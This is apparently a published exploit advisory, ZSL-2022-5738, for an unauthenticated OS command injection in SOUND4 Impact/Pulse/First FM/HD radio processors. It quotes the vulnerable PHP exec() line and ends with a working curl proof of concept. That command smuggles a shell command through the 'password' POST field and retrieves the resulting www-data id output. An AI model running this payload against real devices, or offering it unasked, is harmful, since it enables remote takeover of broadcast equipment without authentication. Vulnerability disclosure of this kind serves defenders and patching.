# Exploit Title: SOUND4 IMPACT/FIRST/PULSE/Eco v2.x - Remote Command Execution (RCE)
# Exploit Author: LiquidWorm

Vendor: SOUND4 Ltd.
Product web page: |
Affected version: FM/HD Radio Processing:
                  Impact/Pulse/First (Version 2: 1.1/2.15)
                  Impact/Pulse/First (Version 1: 2.1/1.69)
                  Impact/Pulse Eco 1.16
                  Voice Processing:
                  BigVoice4 1.2
                  BigVoice2 1.30
                  Web-Audio Streaming:
                  Stream 1.1/2.4.29
                  WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: The application suffers from an unauthenticated OS command injection
vulnerability. This can be exploited to inject and execute arbitrary shell
commands through the 'password' HTTP POST parameter through index.php and
login.php script.

09: if (isset($_POST['username']) && isset($_POST['password'])) {
11:    $ret = -1;
12:    // remarque: Check Password for broken, only admin/admin as valid user/password
13:    exec('echo ' . $_POST['password'] . ' | /opt/sound4/sound4server _check_pwd_ ' .'"'.$_POST['username'].'";',$out,$ret);

Tested on: Apache/2.4.25 (Unix)
           GNU/Linux 5.10.43 (armv7l)
           GNU/Linux 4.9.228 (armv7l)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - - @zeroscience

Advisory ID: ZSL-2022-5738
Advisory URL:



> curl --fail -XPOST -sko nul https://RADIOGUGU/index.php --data "username=ZSL&password=`id>/var/www/g`" && curl -sk https://RADIOGUGU/g
uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)